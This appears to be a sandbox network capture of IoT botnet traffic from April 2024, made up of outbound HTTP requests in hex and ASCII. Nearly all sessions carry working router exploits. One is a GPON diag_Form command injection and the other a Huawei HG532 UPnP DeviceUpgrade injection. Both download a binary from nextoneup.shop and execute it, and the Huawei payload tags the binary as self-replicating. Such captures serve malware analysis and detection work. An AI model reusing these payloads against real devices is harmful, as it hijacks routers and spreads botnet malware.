1568	192.168.2.23	33168	172.79.193.46	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.167546034 CEST	185	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1569	192.168.2.23	45904	42.94.193.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689219952 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1570	192.168.2.23	37620	212.67.215.148	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689268112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1571	192.168.2.23	48274	117.205.106.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689286947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1572	192.168.2.23	53422	118.131.230.209	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689306021 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1573	192.168.2.23	37530	202.55.237.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689351082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1574	192.168.2.23	39562	202.100.239.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689374924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1575	192.168.2.23	55030	178.208.241.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689429998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1576	192.168.2.23	35910	123.76.124.221	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689469099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1577	192.168.2.23	44608	148.147.228.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689497948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1578	192.168.2.23	36586	79.69.170.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689527035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1579	192.168.2.23	32894	123.222.227.23	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689594030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1580	192.168.2.23	56622	2.163.213.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689630985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1581	192.168.2.23	47634	37.253.221.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.689666033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1582	192.168.2.23	41462	156.241.120.115	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.788233042 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:20.448601961 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:22.432404041 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:26.591762066 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
